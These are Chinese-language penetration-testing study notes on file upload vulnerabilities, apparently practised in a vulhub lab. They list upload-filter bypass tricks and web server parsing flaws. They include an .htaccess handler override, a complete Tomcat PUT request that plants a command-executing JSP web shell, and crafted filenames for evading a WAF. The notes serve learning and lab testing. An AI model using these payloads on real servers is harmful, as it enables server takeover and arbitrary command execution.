文件上传漏洞
1. 文件上传漏洞的产生与危害
- 概念
- 服务器端脚本语言未严格验证和过滤上传文件
- 危害
- 控制整个网站或服务器
2. web 文件上传检测类型
-
- JS 绕过
修改前端js代码
-
- 文件类型Content-Type验证
修改文件 Content-Type
-
- 黑名单后缀验证
使用 apache 解析漏洞 .php3
-
- 黑名单未验证.htaccess
<FilesMatch "loudong.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
-
- 黑名单大未处理大小写
使用大写PHP绕过
-
- 黑名单未处理字符两端空格
使用php+空格
-
- 黑名单未处理末尾.
增加一个., php.
-
- 未处理 ::$DATA
增加 ::$DATA 流处理,
-
- 直接使用了上传的文件名称
使用 test.php . 绕过 空格后面的内容会被丢弃
-
- 字符串替换
使用 PPHPHP 绕过
-
- 使用了变量作为文件路径一部分
使用00截断 post情况下要url_decode
-
- 使用文件前面两个字节码作为文件类型判断
使用图片php + 包含漏洞
-
- 使用 getimagesize 文件类型判断
使用图片php + 包含漏洞
-
- 使用imagecreatefrompng 二次渲染
使用二次渲染的图片添加 php 绕过
-
- 先mv图片再rename
使用条件竞争执行
-
- 可以上传 .7z文件
使用php.7z解析漏洞
3. 解析与编辑器漏洞
- 解析漏洞
- vulhub 安装
- 下载与启动
- 环境准备(IIS6,Tomcat,Nginx,Apache)
- 实例
- IIS6 解析漏洞
(1)当建立*.asa、*.asp 格式的文件夹时,其目录下的任意文件都将被IIS 当做asp 文件解析。
(2)当文件*.asp;1.jpg IIS6.0 同样会将文件当做 asp 文件解析。
- Tomcat 文件上传漏洞
PUT /1.jsp/ HTTP/1.1 Host: 192.168.239.135:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 750 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null;while ((temp = buf.readLine()) != null) { line.append(temp+"\n");}buf.close();} catch (Exception e) { line.append(e.getMessage());}return line.toString();}%><%if("123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){ out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>- Nginx 解析漏洞
123.jpg后面加上 /a.php
- Apache 解析漏洞
- Apache 换行解析漏洞
- vulhub 安装
- 编辑器漏洞
- fckeditor 示例
- Payload 构建
php.exe fck.php 127.0.0.1:80 /fckeditor/
- fckeditor 示例
4. Waf 绕过
- 环境准备
- 安全狗(安全网关防火墙)
- 绕过策略
- 垃圾数据溢出
通过添加 aaaaaaaaaaaaaaaaaaaaaaaaa; 垃圾数据截断
- 符号编译
Content-Disposition: form-data; name="upload_file"; filename="test.php;
- 数据截断
Content-Disposition: form-data; name="upload_file"; filename="test.jpg;.php;
- 换行绕过
Content-Disposition: form-data; name="upload_file"; filename="t e s t . p h p;
- fuzz 测试
test.pHp4%00 test.Php.xxx test.PHP%00 test.Phtml%00 test.pHTml%00.jpg